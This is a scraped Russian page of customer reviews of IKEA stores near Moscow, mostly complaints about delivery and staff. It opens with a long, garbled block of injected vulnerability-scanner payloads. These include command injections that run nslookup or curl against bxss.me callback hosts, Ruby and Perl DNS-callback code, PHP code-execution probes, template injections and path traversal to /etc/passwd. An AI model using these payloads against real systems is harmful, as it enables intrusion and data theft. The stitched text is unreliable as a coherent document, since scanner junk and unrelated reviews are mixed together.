Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Татьяна .
22.09.2009
Год назад купили в Икее кухню. Перед покупкой долго раздумывали - где купить. Решили в Икее. С каждым днем она мне все больше и больше нравится. Благодарю сотрудников магазина. При покупке кухни они многое подсказали, впоследствие оценила их помощь. Теперь кухня стала любимой комнатой в квартире. Теперь хочу заменить и остальную мебель. Очень прочно, функционально и стильно!
Сергей.
09.11.2009
Были в магазине 8.11.2009, с 19 до 22 часов. Три часа с удовольствием ходили и выбирали покупки. Складывали в корзину. В корзине также находились личные вещи (дорогие). Подошли к кассе. Отошли на 2 минуты взять батарейки, корзина была в 10 метрах от кассы. Взяли батарейки, вернулись А КОРЗИНЫ НЕТ. НЕТ ВСЕГО ТОВАРА И ЛИЧНЫХ ВЕЩЕЙ. Искали корзину, я заметил, что девушка уносит пакет с моими вещами. Остановил её и спросил: "Где наш товар?". Весь наш товар зачем-то забрали на склад, а личные вещи частично выбросили (продукты), а вещи вернули, так как я успел остановить девушку (куда она их несла - неизвестно). Настроение испорчено! Время потрачено впустую! Ужас! Никто из покупателей не тронет чужую корзину, если в ней лежит товар, А ТЕМ БОЛЕЕ ЛИЧНЫЕ ВЕЩИ! А работники магазина берут их и выбрасывают! БУДЬТЕ ОСТОРОЖНЫ! НЕ ЗНАЮ КОГО ОПАСАТЬСЯ: ВОРОВ? ИЛИ РАБОТНИКОВ МАГАЗИНА?
Такая беспечность с Вашей стороны. Вы же в нашей стране живете, а не в Норвегии, причем здесь работники магазина, если Вы не следите за своими вещами?
Я согласна с Павлом. Если пошли за батарейками, то уж не нужно было идти всей толпой. а оставленная корзина стоявшая без присмотра была помехой кому-нибудь на пути к кассе, её отодвинули. Вот вам и результат вашей же беспечности. Так, что опасайтесь себя и своей беспечности. И не чего других обвинять!
Сергей, Вы в своем уме? У нас в магазине ни кто не тронет личные вещи! ХА, ХА, ХА, да Вы видать не в той стране живете. Никто из покупателей не тронет чужую корзину, если в ней лежит товар, А ТЕМ БОЛЕЕ ЛИЧНЫЕ ВЕЩИ!
Михайлова Маргарита Николаевна
14.07.2010
10. 07. 2010. была куплена мебель на большую сумму. Но после разгрузки не хватило трех дверей с зеркалами. Когда обратилась в магазин нам сказали, что видео просмотрели и проверили склад все сходиться. Они мне ничего не должны я написала заявление вот уже третий день смотрят видео. Жду от них звонка до 17. 07. 2010. и подам в суд.
Померанцева Наталья
30.08.2010
Попала почти в такую же ситуацию, как г-жа Михайлова. Купила, за 60 тыс. руб., набор из трех шкафов, оплатила доставку и сборку. При сборке оказалось - один шкаф с браком, а углового шкафа нет вообще, есть только двери. При обращении в Икеа, выясняется, что в накладной и дверей нет, надо доплачивать за угловой шкаф, еще 27 тысяч. А в зале секция из 4-х шкафов (начинка одинаковая с моей) стоит 76 тысяч. А я значит, за три шкафа, должна заплатить 87 тыс. руб. Никто объяснений не дает. Отказываюсь от покупки. Оформляю заказ на вывоз мебели. Четыре дня жду, не выходя из дома, потому, что диспетчер каждый раз говорит: заказ есть, ждите. Вот жду пятый день. Дважды ездила в Икеа, второй раз, мне администратор Светлана, банально нахамила, а воз и ныне там - ни мебели, ни денег.
Елена Соломатина
15.07.2010
Оплатили покупку 3-х светильников, уже 3 дня не можем забрать товар.
Юлия
20.07.2010
Мы купили кровать в "Икеа"! Через несколько месяцев она просто рухнула, погнулась железная балка и из-за этого порвалось реечное дно! Спать просто невозможно, не говоря уже о другом! Теперь получается мы должны купить новую кровать? Может "Икеа" нам купит?
Здравствуйте, Юлия! Обращались ли вы в сервисную службу ИКЕА? Насколько я знаю, если это производственный брак - ИКЕА заменит вам кровать или ее детали бесплатно! Для этого вам нужно позвонить в ИКЕА-сервис, описать вашу проблему, они назначат экспертизу (к вам домой придет человек, который все сфотографирует) и в случае положительного решения, заменят кровать. В нашей ИКЕА (Казань) - это происходит так: я меняла двери гардероба, которые оказались кривые и плохо закрывались, причем мы узнали об это только после сборки. Нам привезли двери через 2 дня. Удачи.
Может надо быть адекватными людьми, у нас зачастую люди купят кровать за 3000 р. и хотят от нее того же комфорта как и от кровати за 33000 р. Чтобы сломать центральную перекладину - нужно либо скакать как слон на этой кровати, либо быть весом по 300 кг. на двоих и купить самое дешевое реечное дно.
Это же что надо делать, чтоб кровать сломать!?
Анастасия Сударикова
01.08.2010
Попала в следующую неприятную ситуацию, связанную с магазином икея. Подобрав через интернет сайт ikea.ru себе кровать и изголовье к ней серии МАЛЬМ черно-коричн., убедившись в наличии в магазине в моем городе Ростов-на-Дону, отправилась за покупкой. В магазине на ценнике изголовья мальм была указана цена 7999 (как и на сайте). Продавец выбила нам накладную со всеми ценами и местами расположения товара на складе самообслуживания. Общая сумма расходилась с той, что посчитала я. Как оказалось изголовье выбили по цене 8999, а не как на их ценниках 7999. Продавец ответила: это наше право менять цену на любой товар и отказалась звать менеджера. Мы добились, чтобы цену на ценнике поменяли при нас и она достала уже готовый новый ценник и поменяла его. Эту кровать я присматривала около года и цены на нее никогда не менялись, а тут как мне ответили цена на изголовье изменилась с сегодняшнего дня. Пришлось переплатить 1000 руб. просто так. Это хорошо, что взяли с собой сумму чуть больше необходимой. Общение с менеджером которого позже нам удалось увидеть не помогло, всего лишь вынес жалобную книгу. Получается так можно менять цену на любой товар как только человек захочет что-то купить, это продуманный ход (ведь это изголовье без кровати никто не купит а так когда уже человек нацелен на покупку куда он денется заплатит 1000 сверху). Возможно потом продавец поменяла цену на 7999 и кто-то еще попадется на эту уловку! Факт в том, что я осталась очень недовольна и больше никогда не буду совершать крупных покупок в магазине IKEA!
Это, конечно же, некрасивая ситуация со стороны магазина, но могу с уверенностью сказать только одно - это то, что магазин ну явно не поднял цену в тот момент, когда Вы решили приобрести товар, виноват сотрудник, отвечающий за размещение ценников на товар, он просто либо "проспал" этот момент, либо не успел.
Померанцева Наталья
30.08.2010
Прошу сообщить, к кому конкретно, с указанием должности и фамилии, я могу обратиться с жалобой на конкретного работника "Икеа" и на ту ситуацию, в которой я оказалась по вине менеджеров "Икеа". Позволю усомниться в фразе о связи с представителем организации. 4 дня мне диспетчер отвечает: заказ есть, ждите и обещает, что представитель мне перезвонит. Никто за 4 дня ожидания машины для вывоза приобретенной мной бракованной мебели ни разу никто не позвонил.
Полный кошмар! Привезли 1/3 заказа. Остальное 4 дня подряд обещают приехать и не привезли. Операторы ничего не знают, до доставки "дозвониться не можем", а на кой они там сидят. Пока их услышишь минут 30 проходит! То есть, денег еще в телефон вбухаешь. Мебели до сих пор нет!
Воронин Сергей Владимирович
04.09.2010
Заказал мебель и оплатил доставку 02.09.10 на 03.09.10. Сижу жду! сегодня уже 04.09.10, ни каких звонков от икеа, и не могу дозвонится, до службы доставки, уже два дня. Городской телефон у икеа вообще супер, сперва 10 минут подожди, послушай их белеберду, за, что с тебя снимут деньги, потом ответит оператор и спокойно скажет, я передам начальнику по работе покупателями о вашей проблеме, вот мы и ждем, когда же начальник свои глазки протрет и нам позвонят. Короче, контора дерьмо, как сказали в службе доставки, "Контора то шведская, а мы то русские (работники)!"
Aлександра
04.09.2010
21.08.2010 г. купила шкаф, оформила доставку на следующий день (22.08.2010 г., 16:00). В назначенное время товар не привезли, позвонили, что не смогут в этот день, но готовы перенести на удобное для меня время. Перенесли на следующее воскресенье 29.08.2010 г., 29.08.2010 г., товар не привезли, звонка с предупреждением (извинением) со стороны "ИКЕА" не последовал. В "Сall-центр" дозвониться не смогла, после 30 мин. ожидания меня отключили (рабочий день "Сall-центра" закончился без предупреждения ожидающих на линии). Написала вопрос на сайте. В ответе пообещали, что менеджер свяжется в ближайшее время. То же самое пообещали, когда на следующий день дозвонилась до "Сall-центра". С отделом доставки меня не соединили. Трижды переносили срок доставки. Каждый раз время было обозначено. Каждый раз доставка не происходила. За весь период самостоятельно представитель "ИКЕА" со мной не связывался (хотя каждый раз на мой звонок в call-центр и письмо на сайте, обещали скорейший звонок), о невозможности переноса сроков доставки не предупреждали. Получила ночной звонок (в 03:23 01.09.2010 г., тел.: +79067368337) непосредственно от грузчиков, которые предложили привезти товар ночью (видимо, к 4 утра). Я отказалась, поскольку такие сроки и условия не были обговорены, утром рано на работу, за стенкой спит грудной малыш + еще есть соседи, которым также утром на работу и тревожить их некорректно. На седьмой письменный запрос на сайте, когда в пятый раз не состоялась доставка товара без предупреждений, мне принесли "искренние извинения", сообщили о "технических неполадках" и пообещали в ближайшее время связаться. До сих пор жду, когда же менеджер свяжется. За 2 недели представители "ИКЕА" самостоятельно ни разу со мной не связались, 4 раза переносили срок доставки, которая так и не состоялась, грузчики позвонили поздней ночью, а я потратила 2 выходных, 3 вечера в будни на ожидание доставки и деньги на телефонные переговоры с "ИКЕА".
Аноним
05.09.2010
Пишет одно, говорят другое, подходишь на склад, говорят "ой, извините, нету. Я не понимаю, менеджер, который выписывал накладную на оплату, что он, не знал. Короче, люди, там бардак.
Кудряшов Игорь
06.09.2010
05.09.10 г. купили диван и кое что из мебели. Оформили доставку на 06.09.10 г. с 08 до 13.00. Около 13.40 позвонили и сказали, что доставка будет не раньше 22.00-23.00. И как я понимаю сегодня вообще не привезут. При попытке разобраться, все свелось к водителю, который, как я понял, управляет всей доставкой. Или может всей фирмой. Плохо, что фирмой руководят грузчики и водители, а не нормальные руководители, которые могли бы организовать достойную работу. Люди, не ходите и ничего не покупайте в "ИКЕЯ Белая дача".
Доставкой занимается не Икеа, а служба доставки, у которой совсем другое название и Икеа, на нее повлиять никак не может, там другое руководство.
Не надо думать о всей службе доставки по одному случаю. Не ошибается тот, кто ничего не делает. Почему не хочется войти в положение и представить себя на месте водителя. Ведь дороги у нас ого-го, пробки, аварии.
Ковалева Анна
08.09.2010
Купили 26.08.2010 г. два дивана, кучу разных нужных вещей, в том числе 2 стула и смеситель. Оформили доставку на дом на 27.08. с 09 до 16:00! Весь товар, кроме диванов и смесителя привезли в отдел доставки, где на наших глазах на товар был приклеен наш адрес. На следующий день где-то после 17:00 позвонил водитель и сказал: «У нас, машина сломалась, вы примите товар завтра, так же с 09-16:00?». Мы конечно согласились. А, что делать!? На следующий день во время, естественно ни кто не приехал! В центр мы звонили четыре раза и нам отвечали, что водитель с нами свяжется! Ни какой водитель с нами не связывался. В 8:00 часов вечера приехали, все занесли, собрались уходить и на вопрос все ли они привезли, слегка замявшись, сказали, что нет, где остальной товар они не знают и вообще это не к ним! А не привезли нам 2 стула и смеситель, товар на 7 тыс. руб.! «Вам как-нибудь на недельке завезут» - ответил водитель. А что он говорит вообще, можно было понять только с 5 раза! Через день нам перезвонили из Икеи, (аж целых три раза), узнавали все ли нам доставили и упорно твердили только про два стула! Обещали разобраться через 2-3 дня. Перезвонили, договорились о доставке на 07.09. с 09-16:00. Естественно 07.09. нам ни чего не привезли и ни кто не позвонил! И опять в кол-центре обещали передать информацию менеджеру, который с нами свяжется. Мы уже составили претензию о не выполнении данной фирмой своих обязательств по договору и будем надеяться, что дело до суда не дойдет и нам все-таки привезут наши несчастные 2 стула и смеситель!
Сочувствую, но сама покупала мебель 3 раза, и все 3 раза мне все доставили, буквально на следующий день, в оговоренное время. Магазин большой, покупки делают многие, всякое может быть.
Из шести стеллажей привезли два в нормальном состоянии, а четыре разбитых! Водитель с экспедитором (или с грузчиком) вели себя по хамски, чем окончательно испортили и так уже испорченное настроение! В итоге, сказали, что они устали от работы и им все по «барабану»…. – звоните по телефону 737-30-21 и выясняйте все вопросы с логистом! Я позвонила с своего телефона (опять затраты) логисту Добровольскому Андрею, он меня выслушал и заверил, что наследующий день с 9.00 до 16.00 привезут другие стеллажи и поменяют! Время уже 18.30 - дозвонится по телефону, не могу и стеллажи везти менять, как я понимаю, не кто не собирается! Вот и думаю, то, что грубо нарушены права потребителя это и так понятно, хамским поведением испорчено настроение и нанесен моральный ущерб, нанесен материальный ущерб, т. к. я оплатила в итоге два дня работы сборщика мебели, который в итоге просто просидел в ожидании! Может быть, нанять Камаз подороже, отвезти за свой счет в магазин обратно сломанные стеллажи (свет клином на Икеи не сошелся!), а потом через суд взыскать все выше перечисленное включая оплаченную доставку до магазина Камазом??! Чтобы следующий раз не повадно было, и работали нормально!
Евгений Соклаков
15.09.2010
Кому не нравится "Икеа" - сидите дома! Или идите в "Гранд", коль денег у Вас много. А за такие деньги, как в "Икеа", сидите молча и радуйтесь.
Татьяна
17.09.2010
Вчера была в магазине "Икеа-Химки". Купила стул и еще всякой мелочи. Вобщем получилось 10 позиций в чеке. Сразу после того, как мне выдали чек, ко мне подскочил охранник и стал тупо рассматривать чек и товары в моей тележке. Именно "ТУПО", таким был его взгляд, так как он явно ничего не понимал в названиях в чеке. Купила один стул. А он мне задал вопрос: А где второй стул? Хотя в чеке числился один. Как думаете, что можно было ответить на этот глупый вопрос, если я взяла один стул. Я очень терпеливый покупатель и ждала, пока он выучит названия позиций в чеке. А вот попался бы ему мой супруг, думаю был-бы скандал. Убедительная просьба к руководству охраны магазина "Икеа-Химки"! Набирать на работу адекватных сотрудников! Так как охрана с глупым поведением, портит хорошее впечатление от магазина!
Резницкая Анна
03.10.2010
Доставка, должна была быть произведенна с 17. 00 по 22. 00. Время сейчас 23. 22, а наш товар мы до сих пор не получили, следовательно вопрос, за, что мы заплатили деньги?
Иванова Ирина
15.10.2010
На витрине выставлен товар, которого не только нет в наличие, но который также не принимается на заказ и вообще вряд ли будет в реальной продаже, по словам продавца. Это хамство по отношению к покупателям, которые специально едут для покупки крупных вещей из мебели. Нет в продаже - убирай с витрины. Появится - поставь обратно. Вряд ли, что-то измениться, хамство есть хамство.
Совершенно с вами согласна! Мы покупали кухню в Икеи, выбрали, подошли на склад, а оказалось, что таких верхних маленьких шкафов нет! На мой вопрос "как это так?" сотрудник заявил, что их нет давно (причем на витрине-то они есть!), и когда они появятся неизвестно.((( Пришлось нам возвращаться и выбирать заново. Угробила массу своего времени из-за вот такой халатности магазина.( Это очень печально!
Комина Анастасия Валерьевна
04.11.2010
Здравствуйте. Я москвичка, мой возраст - 20 с половиной лет. Хочу работать в ИКЕА продавцом - консультантом. Что для этого требуется? Куда подъехать чтобы оставить данные о себе? Я работаю по трудовой книжке уже 2, 5 года, после окончания школы, учусь на первом курсе заочного отделения МГПУ. Живу в Зеленограде. Так как я работаю в системе МВД, мне хотелось бы поменять место работы. С уважением, Анастасия Комина.
Илья
29.11.2010
Отвратительная работа доставки и отношение к клиентам - компания ООО «Контакт-Сервис» (торговая марка «Верста»), обеспечивающая доставку товаров из сети магазинов ИКЕЯ в г. Москве. Из шести стеллажей привезли два в нормальном состоянии, а четыре разбитых! Водитель с экспедитором вели себя по хамски! Сказали, что они устали от работы и их это все не волнует: «звоните по телефону 737-30-21 и выясняйте все вопросы с логистом»! С трудом дозвонился логисту, высказал свои претензии, меня выслушали и заверили, что наследующий день (28.11.2010 г.) с 9.00 до 16.00 привезут другие стеллажи и поменяют! В 16.00 обмен не состоялся. Дозвонится по телефону, удалось только в шесть часов вечера, меня опять выслушали, пообещали во всем разобраться и перезвонить в течении 2-х часов! Звонка не последовало, и я стал вновь дозваниваться! Вечером дозвониться оказалось более реально, через час автодозвона я уже общался с логистом Михаилом, который сверял несколько раз номер моего заказа, периодически куда-то отлучался и в итоге сказал, что в течение часа все выяснит и перезвонит, чтобы уточнить в какое время мне будет удобно совершить обмен 29.11.2010 г. Соответственно не кто не перезвонил и дозвонится за час с 22.00 до 23.00 уже не получилось! С утра попытался еще позвонить но, поняв, что это бесполезно решил позвонить в офис компании ООО «Контакт-Сервис» (торговая марка «Верста» тел.: (495) 642-20-02) и спросить номер, по которому можно реально дозвониться и решить создавшуюся проблему. На, что услышал от секретаря: «Вы не один туда звоните, поэтому и дозвонится, не можете» (до чего же «качественно» компания обслуживает своих разъяренных клиентов, что дозвонится не возможно по раскаленному телефону????!). Ни какого номера я естественно не получил, с руководством связываться естественно не предоставляется возможным! И стеллажи везти менять, как я понимаю, не кто не собирается! Позвонил в службу сервиса ИКЕЯ, заявку приняли, обещали разобраться (в течение 5 дней!) и произвести замену (честно говоря, уже с трудом верится. )! В крайнем случае, придется общаться через Роспотребнадзор - "Горячий" телефон Центральной общественной приемной Управления Роспотребнадзора по г. Москве: 621-25-74, горячая линия отдела защиты прав потребителей Федеральной службы 973-18-58, и т. д. Туда проще дозвонится (Тем, более почитав отзывы в Интернете о качестве (которое оставляет желать лучшего) предоставляемых услуг данной компании я буду не один)! И ни какой, самый прекрасный маркетолог или же самая великолепно созданная реклама, не сможет принести доход фирме, если у нее будут такие партнеры. Качественно создающие АНТИРЕКЛАМУ!
Кслова Людмила.
29.11.2010
Добрый день! Я решила купить в магазине Икеа себе кровать (Мега Теплый Стан). Обслуживающий персонал не очень любезен, отвечает на вопросы не очень охотно. Подойдя к столу информации, чтобы спросить поподробнее о кровати, мне сказали - идите на склад. На складе мне пришлось самой спускать тяжелый каркас. Обратившись за помощью к персоналу, мне сказали, что это делают не они. В общем, никто не помог. Очень жаль, что у вас такое обслуживание, сервис на низком уровне. Я первый раз у вас что-то покупала, и думаю, что в последний.
Ериков а.в
22.12.2010
Про белую дачу не знаю, а в икеа химки бардак. Поставили новую стойку такси, а у них цены заоблачные. На планерную 1500 рублей и крупные покупки возят на крыше машины. Я уже писал вам, но безрезультатно. Шкаф намок и матрац испачкали от такой доставки.
ЮЛИАНА
29.12.2010
МНЕ ОЧЕНЬ ПОНРАВИЛАСЬ ДОСТАВКА МАГАЗИНА "ИКЕА-ХИМКИ". КУПИЛА МНОГО ПОДАРКОВ. ПОНАДОБИЛОСЬ ТАКСИ. ОБРАТИЛАСЬ В СЛУЖБУ ТАКСИ "ШИНА". ОЧЕНЬ БЛАГОДАРНА. ВЕЖЛИВЫЕ РЕБЯТА. НИ ОДНОГО ГРУБОГО СЛОВА! ДО МАШИНЫ ТОВАР ПОМОГЛИ ДОНЕСТИ И ПОДНЯТЬ. ПРИГЛАСИЛИ НА РАСПРОДАЖУ В МАГАЗИН "ИКЕА-ХИМКИ". ОБЯЗАТЕЛЬНО ПРИЕДУ ЕЩЁ И ТОЛЬКО В ХИМКИ. С НОВЫМ ГОДОМ СОТРУДНИКИ ООО "ШИНА" И "ИКЕА".
Татоша
29.12.2010
Только неудачникам может не повести с товаром в икеи! Точно, всем, кто жалуется дорога в гранд!
Еремина Лидия Николаевна
02.01.2011
2 января мы посетили Ваш магазин и все закончилось сердечным приступом, т. к. в магазине не работал не только кондиционер, но и вентиляция - дышать было нечем. Как же так можно относиться к людям, которые несут вам свои деньги? На вопросы никто не мог (или не захотел) ответить. Больше Ваш магазин меня не интересует.
Анна
04.01.2011
Возмущены поведением грузчиков ИКЕА, которые "доставили" диван. Вчера выбрали диван, очень захотелось купить. Оплатили доставку (900 р.) и 400 за подъем в квартиру. У нас второй этаж, грузовой лифт. Сегодня, 4 января 2011 года, грузчики, подняв диван на этаж, увидев, что в квартире одни женщины, стали откровенно вымогать деньги. Получили отказ, заявили, что дверной проем не стандартный, диван не влезет, что надо вызывать мастера, дабы демонтировать металлическую дверь. Отказавшись назвать свои фамилии, гордо удалились, предварительно обхамив. Через пять минут, после их ухода, четыре хрупкие девушки спокойно внесли диван в квартиру, без съема дверей и прочих кошмаров, предрекаемых грузчиками, и установили его на нужном месте. В связи с этим, приходят на ум следующие строки: "Есть женщины в русских селениях, Их бабами нежно зовут. Слона на скаку остановят, И хобот ему оторвут". Просьба к магазину ИКЕА: не присылать слонов-грузчиков, а к постоянными клиентам бережнее относится.
Соцкова С.Е.
06.01.2011
04.01.2011 г. я купила в данном магазине крупногабаритный товар, заплатила за доставку № 06380, однако в указанный день (05.01.2011) товар мне привезен не был и предупреждения об этом я тоже не получила. 6.01.2011 г. ничего вразумительного, по поводу своих жалоб я не получила, в отделе доставки никаких людей способных дать точный ответ нет! Есть только те, кто ни за, что не отвечает. Когда я получу свой товар и зачем в магазине такой отдел доставки, который не выполняет обязательства, взятые на себя.
Николаев Алексей
22.01.2011
20.01.2011 купил в ИКЕА комод. Хотел забрать сразу. Бомбилы в зале (что меня удивило) объявили до Таганки 2000 р. Доставка в ИКЕА была только на следующий день (1900 р). Пришлось ехать с бомбилами. Потом только узнал, что можно было уехать сразу за 790 р. на Городском такси. Организация доставки безобразна. Повод разобраться с бомбилами, соответствующим органам. В ИКЕА за покупками, надо ехать, только на своем транспорте.
